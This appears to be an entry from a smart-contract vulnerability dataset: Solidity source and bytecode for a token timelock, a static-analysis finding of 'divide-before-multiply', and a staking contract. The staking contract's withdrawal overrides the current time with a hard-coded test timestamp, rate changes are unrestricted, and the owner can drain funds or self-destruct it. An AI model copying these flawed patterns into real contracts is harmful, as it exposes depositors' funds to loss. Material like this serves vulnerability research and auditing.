* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev A token holder contract that will allow a beneficiary to withdraw the
* tokens after a given release time.
*/
contract UnsupervisedTimelock {
using SafeERC20 for IERC20;
// Seconds of a day
uint256 private constant SECONDS_OF_A_DAY = 86400;
// beneficiary of tokens after they are released
address private immutable _beneficiary;
// The start timestamp of token release period.
//
// Before this time, the beneficiary can NOT withdraw any token from this contract.
uint256 private immutable _releaseStartTime;
// The days that the timelock will last.
uint256 private immutable _daysOfTimelock;
// The OctToken contract
IERC20 private immutable _token;
// Total balance of benefit
uint256 private immutable _totalBenefit;
// The amount of withdrawed balance of the beneficiary.
//
// This value will be updated on each withdraw operation.
uint256 private _withdrawedBalance;
event BenefitWithdrawed(address indexed beneficiary, uint256 amount);
constructor(
IERC20 token_,
address beneficiary_,
uint256 releaseStartTime_,
uint256 daysOfTimelock_,
uint256 totalBenefit_
) {
_token = token_;
_beneficiary = beneficiary_;
_releaseStartTime =
releaseStartTime_ -
(releaseStartTime_ % SECONDS_OF_A_DAY);
require(
releaseStartTime_ -
(releaseStartTime_ % SECONDS_OF_A_DAY) +
daysOfTimelock_ *
SECONDS_OF_A_DAY >
block.timestamp,
"UnsupervisedTimelock: release end time is before current time"
);
_daysOfTimelock = daysOfTimelock_;
_totalBenefit = totalBenefit_;
_withdrawedBalance = 0;
}
/**
* @return the token being held.
*/
function token() public view returns (IERC20) {
return _token;
}
/**
* @return the beneficiary address
*/
function beneficiary() public view returns (address) {
return _beneficiary;
}
/**
* @return the total balance of benefit
*/
function totalBenefit() public view returns (uint256) {
return _totalBenefit;
}
/**
* @return the balance to release for the beneficiary at the moment
*/
function releasedBalance() public view returns (uint256) {
if (block.timestamp <= _releaseStartTime) return 0;
if (
block.timestamp >
_releaseStartTime + SECONDS_OF_A_DAY * _daysOfTimelock
) {
return _totalBenefit;
}
uint256 passedDays = (block.timestamp - _releaseStartTime) /
SECONDS_OF_A_DAY;
return (_totalBenefit * passedDays) / _daysOfTimelock;
}
/**
* @return the unreleased balance of the beneficiary at the moment
*/
function unreleasedBalance() public view returns (uint256) {
return _totalBenefit - releasedBalance();
}
/**
* @return the withdrawed balance of beneficiary
*/
function withdrawedBalance() public view returns (uint256) {
return _withdrawedBalance;
}
/**
* @notice Withdraws tokens to beneficiary
*/
function withdraw() public {
uint256 balanceShouldBeReleased = releasedBalance();
require(
balanceShouldBeReleased > _withdrawedBalance,
"UnsupervisedTimelock: no more benefit can be withdrawed now"
);
uint256 balanceShouldBeTransfered = balanceShouldBeReleased -
_withdrawedBalance;
require(
token().balanceOf(address(this)) >= balanceShouldBeTransfered,
"UnsupervisedTimelock: deposited balance is not enough"
);
_withdrawedBalance = balanceShouldBeReleased;
token().safeTransfer(_beneficiary, balanceShouldBeTransfered);
emit BenefitWithdrawed(_beneficiary, balanceShouldBeTransfered);
}
}
|
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806391eeab851161005b57806391eeab85146100c85780639ab4b22f146100e6578063f50c8e2d14610104578063fc0c546a146101225761007d565b806338af3eed146100825780633ccfd60b146100a05780636b37cc14146100aa575b600080fd5b61008a610140565b6040516100979190610a1c565b60405180910390f35b6100a8610168565b005b6100b2610366565b6040516100bf9190610b3d565b60405180910390f35b6100d06103a0565b6040516100dd9190610b3d565b60405180910390f35b6100ee6103a9565b6040516100fb9190610b3d565b60405180910390f35b61010c610500565b6040516101199190610b3d565b60405180910390f35b61012a610528565b6040516101379190610a60565b60405180910390f35b60007f00000000000000000000000094b0161fc2e270b34e2574538b374208217a8c67905090565b60006101726103a9565b905060005481116101b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101af90610a9d565b60405180910390fd5b60008054826101c79190610c6b565b9050806101d2610528565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161020a9190610a1c565b60206040518083038186803b15801561022257600080fd5b505afa158015610236573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061025a9190610896565b101561029b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161029290610abd565b60405180910390fd5b816000819055506102f47f00000000000000000000000094b0161fc2e270b34e2574538b374208217a8c67826102cf610528565b73ffffffffffffffffffffffffffffffffffffffff166105509092919063ffffffff16565b7f00000000000000000000000094b0161fc2e270b34e2574538b374208217a8c6773ffffffffffffffffffffffffffffffffffffffff167f26b111a6f79cb1f14e797207bb7f2095963c467ca641399e15f7b2a02fb44cf98260405161035a9190610b3d565b60405180910390a25050565b60006103706103a9565b7f0000000000000000000000000000000000000000000000000de0b6b3a764000061039b9190610c6b565b905090565b60008054905090565b60007f00000000000000000000000000000000000000000000000000000000612ec28042116103db57600090506104fd565b7f00000000000000000000000000000000000000000000000000000000000004486201518061040a9190610c11565b7f00000000000000000000000000000000000000000000000000000000612ec2806104359190610b8a565b421115610464577f0000000000000000000000000000000000000000000000000de0b6b3a764000090506104fd565b6000620151807f00000000000000000000000000000000000000000000000000000000612ec280426104969190610c6b565b6104a09190610be0565b90507f0000000000000000000000000000000000000000000000000000000000000448817f0000000000000000000000000000000000000000000000000de0b6b3a76400006104ef9190610c11565b6104f99190610be0565b9150505b90565b60007f0000000000000000000000000000000000000000000000000de0b6b3a7640000905090565b60007f000000000000000000000000f5cfbc74057c610c8ef151a439252680ac68c6dc905090565b6105d18363a9059cbb60e01b848460405160240161056f929190610a37565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506105d6565b505050565b6000610638826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661069d9092919063ffffffff16565b90506000815111156106985780806020019051810190610658919061086d565b610697576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068e90610b1d565b60405180910390fd5b5b505050565b60606106ac84846000856106b5565b90509392505050565b6060824710156106fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f190610add565b60405180910390fd5b610703856107c9565b610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990610afd565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff16858760405161076b9190610a05565b60006040518083038185875af1925050503d80600081146107a8576040519150601f19603f3d011682016040523d82523d6000602084013e6107ad565b606091505b50915091506107bd8282866107dc565b92505050949350505050565b600080823b905060008111915050919050565b606083156107ec5782905061083c565b6000835111156107ff5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108339190610a7b565b60405180910390fd5b9392505050565b60008151905061085281610f12565b92915050565b60008151905061086781610f29565b92915050565b60006020828403121561087f57600080fd5b600061088d84828501610843565b91505092915050565b6000602082840312156108a857600080fd5b60006108b684828501610858565b91505092915050565b6108c881610c9f565b82525050565b60006108d982610b58565b6108e38185610b6e565b93506108f3818560208601610d0b565b80840191505092915050565b61090881610ce7565b82525050565b600061091982610b63565b6109238185610b79565b9350610933818560208601610d0b565b61093c81610d9c565b840191505092915050565b6000610954603b83610b79565b915061095f82610dad565b604082019050919050565b6000610977603583610b79565b915061098282610dfc565b604082019050919050565b600061099a602683610b79565b91506109a582610e4b565b604082019050919050565b60006109bd601d83610b79565b91506109c882610e9a565b602082019050919050565b60006109e0602a83610b79565b91506109eb82610ec3565b604082019050919050565b6109ff81610cdd565b82525050565b6000610a1182846108ce565b915081905092915050565b6000602082019050610a3160008301846108bf565b92915050565b6000604082019050610a4c60008301856108bf565b610a5960208301846109f6565b9392505050565b6000602082019050610a7560008301846108ff565b92915050565b60006020820190508181036000830152610a95818461090e565b905092915050565b60006020820190508181036000830152610ab681610947565b9050919050565b60006020820190508181036000830152610ad68161096a565b9050919050565b60006020820190508181036000830152610af68161098d565b9050919050565b60006020820190508181036000830152610b16816109b0565b9050919050565b60006020820190508181036000830152610b36816109d3565b9050919050565b6000602082019050610b5260008301846109f6565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000610b9582610cdd565b9150610ba083610cdd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610bd557610bd4610d3e565b5b828201905092915050565b6000610beb82610cdd565b9150610bf683610cdd565b925082610c0657610c05610d6d565b5b828204905092915050565b6000610c1c82610cdd565b9150610c2783610cdd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615610c6057610c5f610d3e565b5b828202905092915050565b6000610c7682610cdd565b9150610c8183610cdd565b925082821015610c9457610c93610d3e565b5b828203905092915050565b6000610caa82610cbd565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000610cf282610cf9565b9050919050565b6000610d0482610cbd565b9050919050565b60005b83811015610d29578082015181840152602081019050610d0e565b83811115610d38576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f556e7375706572766973656454696d656c6f636b3a206e6f206d6f726520626560008201527f6e656669742063616e2062652077697468647261776564206e6f770000000000602082015250565b7f556e7375706572766973656454696d656c6f636b3a206465706f73697465642060008201527f62616c616e6365206973206e6f7420656e6f7567680000000000000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b610f1b81610cb1565b8114610f2657600080fd5b50565b610f3281610cdd565b8114610f3d57600080fd5b5056fea2646970667358221220d64301bb2e01bd50ccf6f1b3e32ab3dd016930675ceb384fec7a4cb0beb8076064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,264 |
0x32abccbed2189733a77b24f9899dc26afe5d4c36
|
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function changeOwner(address _newOwner) onlyOwner public {
require(_newOwner != address(0));
OwnerChanged(owner, _newOwner);
owner = _newOwner;
}
}
contract ContractStakeToken is Ownable {
using SafeMath for uint256;
enum TypeStake {DAY, WEEK, MONTH}
TypeStake typeStake;
enum StatusStake {ACTIVE, COMPLETED, CANCEL}
struct TransferInStructToken {
uint256 indexStake;
bool isRipe;
}
struct StakeStruct {
address owner;
uint256 amount;
TypeStake stakeType;
uint256 time;
StatusStake status;
}
StakeStruct[] arrayStakesToken;
uint256[] public rates = [101, 109, 136];
uint256 public totalDepositTokenAll;
uint256 public totalWithdrawTokenAll;
mapping (address => uint256) balancesToken;
mapping (address => uint256) totalDepositToken;
mapping (address => uint256) totalWithdrawToken;
mapping (address => TransferInStructToken[]) transferInsToken;
mapping (address => bool) public contractUsers;
event Withdraw(address indexed receiver, uint256 amount);
function ContractStakeToken(address _owner) public {
require(_owner != address(0));
owner = _owner;
//owner = msg.sender; // for test's
}
modifier onlyOwnerOrUser() {
require(msg.sender == owner || contractUsers[msg.sender]);
_;
}
/**
* @dev Add an contract admin
*/
function setContractUser(address _user, bool _isUser) public onlyOwner {
contractUsers[_user] = _isUser;
}
// fallback function can be used to buy tokens
function() payable public {
//deposit(msg.sender, msg.value, TypeStake.DAY, now);
}
function depositToken(address _investor, TypeStake _stakeType, uint256 _time, uint256 _value) onlyOwnerOrUser external returns (bool){
require(_investor != address(0));
require(_value > 0);
require(transferInsToken[_investor].length < 31);
balancesToken[_investor] = balancesToken[_investor].add(_value);
totalDepositToken[_investor] = totalDepositToken[_investor].add(_value);
totalDepositTokenAll = totalDepositTokenAll.add(_value);
uint256 indexStake = arrayStakesToken.length;
arrayStakesToken.push(StakeStruct({
owner : _investor,
amount : _value,
stakeType : _stakeType,
time : _time,
status : StatusStake.ACTIVE
}));
transferInsToken[_investor].push(TransferInStructToken(indexStake, false));
return true;
}
/**
* @dev Function checks how much you can remove the Token
* @param _address The address of depositor.
* @param _now The current time.
* @return the amount of Token that can be withdrawn from contract
*/
function validWithdrawToken(address _address, uint256 _now) public returns (uint256){
require(_address != address(0));
uint256 amount = 0;
if (balancesToken[_address] <= 0 || transferInsToken[_address].length <= 0) {
return amount;
}
for (uint i = 0; i < transferInsToken[_address].length; i++) {
uint256 indexCurStake = transferInsToken[_address][i].indexStake;
TypeStake stake = arrayStakesToken[indexCurStake].stakeType;
uint256 stakeTime = arrayStakesToken[indexCurStake].time;
uint256 stakeAmount = arrayStakesToken[indexCurStake].amount;
uint8 currentStake = 0;
if (arrayStakesToken[transferInsToken[_address][i].indexStake].status == StatusStake.CANCEL) {
amount = amount.add(stakeAmount);
transferInsToken[_address][i].isRipe = true;
continue;
}
if (stake == TypeStake.DAY) {
currentStake = 0;
if (_now < stakeTime.add(1 days)) continue;
}
if (stake == TypeStake.WEEK) {
currentStake = 1;
if (_now < stakeTime.add(7 days)) continue;
}
if (stake == TypeStake.MONTH) {
currentStake = 2;
if (_now < stakeTime.add(730 hours)) continue;
}
uint256 amountHours = _now.sub(stakeTime).div(1 hours);
stakeAmount = calculator(currentStake, stakeAmount, amountHours);
amount = amount.add(stakeAmount);
transferInsToken[_address][i].isRipe = true;
arrayStakesToken[transferInsToken[_address][i].indexStake].status = StatusStake.COMPLETED;
}
return amount;
}
function withdrawToken(address _address) onlyOwnerOrUser public returns (uint256){
require(_address != address(0));
uint256 _currentTime = now;
_currentTime = 1525651200; // for test
uint256 _amount = validWithdrawToken(_address, _currentTime);
require(_amount > 0);
totalWithdrawToken[_address] = totalWithdrawToken[_address].add(_amount);
totalWithdrawTokenAll = totalWithdrawTokenAll.add(_amount);
while (clearTransferInsToken(_address) == false) {
clearTransferInsToken(_address);
}
Withdraw(_address, _amount);
return _amount;
}
function clearTransferInsToken(address _owner) private returns (bool) {
for (uint i = 0; i < transferInsToken[_owner].length; i++) {
if (transferInsToken[_owner][i].isRipe == true) {
balancesToken[_owner] = balancesToken[_owner].sub(arrayStakesToken[transferInsToken[_owner][i].indexStake].amount);
removeMemberArrayToken(_owner, i);
return false;
}
}
return true;
}
function removeMemberArrayToken(address _address, uint index) private {
if (index >= transferInsToken[_address].length) return;
for (uint i = index; i < transferInsToken[_address].length - 1; i++) {
transferInsToken[_address][i] = transferInsToken[_address][i + 1];
}
delete transferInsToken[_address][transferInsToken[_address].length - 1];
transferInsToken[_address].length--;
}
function balanceOfToken(address _owner) public view returns (uint256 balance) {
return balancesToken[_owner];
}
function cancel(uint256 _index, address _address) onlyOwnerOrUser public returns (bool _result) {
require(_index >= 0);
require(_address != address(0));
if(_address != arrayStakesToken[_index].owner){
return false;
}
arrayStakesToken[_index].status = StatusStake.CANCEL;
return true;
}
function withdrawOwner(uint256 _amount) public onlyOwner returns (bool) {
require(this.balance >= _amount);
owner.transfer(_amount);
Withdraw(owner, _amount);
}
function changeRates(uint8 _numberRate, uint256 _percent) onlyOwnerOrUser public returns (bool) {
require(_percent >= 0);
require(0 <= _numberRate && _numberRate < 3);
rates[_numberRate] = _percent.add(100);
return true;
}
function getTokenStakeByIndex(uint256 _index) onlyOwnerOrUser public view returns (
address _owner,
uint256 _amount,
TypeStake _stakeType,
uint256 _time,
StatusStake _status
) {
require(_index < arrayStakesToken.length);
_owner = arrayStakesToken[_index].owner;
_amount = arrayStakesToken[_index].amount;
_stakeType = arrayStakesToken[_index].stakeType;
_time = arrayStakesToken[_index].time;
_status = arrayStakesToken[_index].status;
}
function getTokenTransferInsByAddress(address _address, uint256 _index) onlyOwnerOrUser public view returns (
uint256 _indexStake,
bool _isRipe
) {
require(_index < transferInsToken[_address].length);
_indexStake = transferInsToken[_address][_index].indexStake;
_isRipe = transferInsToken[_address][_index].isRipe;
}
function getCountTransferInsToken(address _address) public view returns (uint256 _count) {
_count = transferInsToken[_address].length;
}
function getCountStakesToken() public view returns (uint256 _count) {
_count = arrayStakesToken.length;
}
function getTotalTokenDepositByAddress(address _owner) public view returns (uint256 _amountToken) {
return totalDepositToken[_owner];
}
function getTotalTokenWithdrawByAddress(address _owner) public view returns (uint256 _amountToken) {
return totalWithdrawToken[_owner];
}
function removeContract() public onlyOwner {
selfdestruct(owner);
}
function calculator(uint8 _currentStake, uint256 _amount, uint256 _amountHours) public view returns (uint256 stakeAmount){
uint32 i = 0;
uint256 number = 0;
stakeAmount = _amount;
if (_currentStake == 0) {
number = _amountHours.div(24);
}
if (_currentStake == 1) {
number = _amountHours.div(168);
}
if (_currentStake == 2) {
number = _amountHours.div(730);
}
while(i < number){
stakeAmount= stakeAmount.mul(rates[_currentStake]).div(100);
i++;
}
}
}
|
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632583b2e41461012a5780632f5867b3146101555780634a7004b9146101a757806357d682c4146101fe5780635eda232d1461026357806369671622146103085780636ef98b211461038457806375651e79146103c9578063878a44a01461042a57806389476069146104815780638da5cb5b146104d8578063916b86cb1461052f5780639660ab3a1461059b57806398dd4b7c146105ea578063a6f9dae114610615578063ad00126614610658578063b99152d0146106b3578063bcc943091461070a578063bfb2fad714610762578063dd418ae21461078d578063e265c5e2146107ce578063fe389e0914610825575b005b34801561013657600080fd5b5061013f61083c565b6040518082815260200191505060405180910390f35b34801561016157600080fd5b5061018d600480360381019080803560ff16906020019092919080359060200190929190505050610842565b604051808215151515815260200191505060405180910390f35b3480156101b357600080fd5b506101e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610963565b6040518082815260200191505060405180910390f35b34801561020a57600080fd5b5061024960048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109ac565b604051808215151515815260200191505060405180910390f35b34801561026f57600080fd5b5061028e60048036038101908080359060200190929190505050610b74565b604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018460028111156102d657fe5b60ff1681526020018381526020018260028111156102f057fe5b60ff1681526020019550505050505060405180910390f35b34801561031457600080fd5b5061036a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff1690602001909291908035906020019092919080359060200190929190505050610d30565b604051808215151515815260200191505060405180910390f35b34801561039057600080fd5b506103af600480360381019080803590602001909291905050506111b9565b604051808215151515815260200191505060405180910390f35b3480156103d557600080fd5b50610414600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611318565b6040518082815260200191505060405180910390f35b34801561043657600080fd5b5061046b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118b5565b6040518082815260200191505060405180910390f35b34801561048d57600080fd5b506104c2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611901565b6040518082815260200191505060405180910390f35b3480156104e457600080fd5b506104ed611b43565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561053b57600080fd5b5061057a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b68565b60405180838152602001821515151581526020019250505060405180910390f35b3480156105a757600080fd5b506105e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611d3e565b005b3480156105f657600080fd5b506105ff611df4565b6040518082815260200191505060405180910390f35b34801561062157600080fd5b50610656600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e01565b005b34801561066457600080fd5b50610699600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f56565b604051808215151515815260200191505060405180910390f35b3480156106bf57600080fd5b506106f4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f76565b6040518082815260200191505060405180910390f35b34801561071657600080fd5b5061074c6004803603810